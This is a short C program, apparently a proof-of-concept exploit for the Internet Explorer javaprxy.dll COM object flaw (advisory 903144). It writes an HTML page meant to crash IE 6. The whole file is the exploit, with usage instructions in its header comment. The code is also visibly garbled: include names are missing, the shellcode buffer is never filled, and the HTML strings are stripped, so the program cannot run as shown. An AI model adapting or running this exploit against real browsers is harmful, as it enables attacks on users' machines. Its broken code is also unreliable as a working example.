/* Vulnerability: Microsoft Security Advisory (903144) A COM Object (Javaprxy.dll) Could Cause Internet Explorer to Unexpectedly Exit Discovered by: http://www.sec-consult.com/184.html Credit: http://www.frsirt.com/ C0ded by: K.K.Senthil Velan, Information Assurance Engineer. reach me@ senthilvelan@gmail.com Usage: IE_Javaprxy_Poc > xpl_page.html then load the xpl_page.html. In my test, it crashes the IE. Tested versions: Internet Explorer 6.0, Windows 2000 SP4 */ #include #include #include int main() { char *xpl_header, *xpl_shellcode, *xpl_code, *xpl_classid, *xpl_footer; xpl_header = (char*)calloc(50,sizeof(char)); xpl_shellcode = (char*)calloc(1100,sizeof(char)); xpl_code = (char*)calloc(500,sizeof(char)); xpl_classid = (char*)calloc(30,sizeof(char)); xpl_footer = (char*)calloc(350,sizeof(char)); strcpy(xpl_header,"\n\n"); strcpy(xpl_classid,"03D9F3F2-B0E3-11D2-B081-006008039BF0"); sprintf(xpl_footer,"

\nMicrosoft Internet Explorer javaprxy.dll COM Object Remote Exploit\nby the FrSIRT < http://www.frsirt.co m >\nSolution - http://www.microsoft.com/technet/security/advisory/903144.mspx",xpl_classid); printf("%s%s%s%s",xpl_header,xpl_shellcode,xpl_code,xpl_footer); return 0; }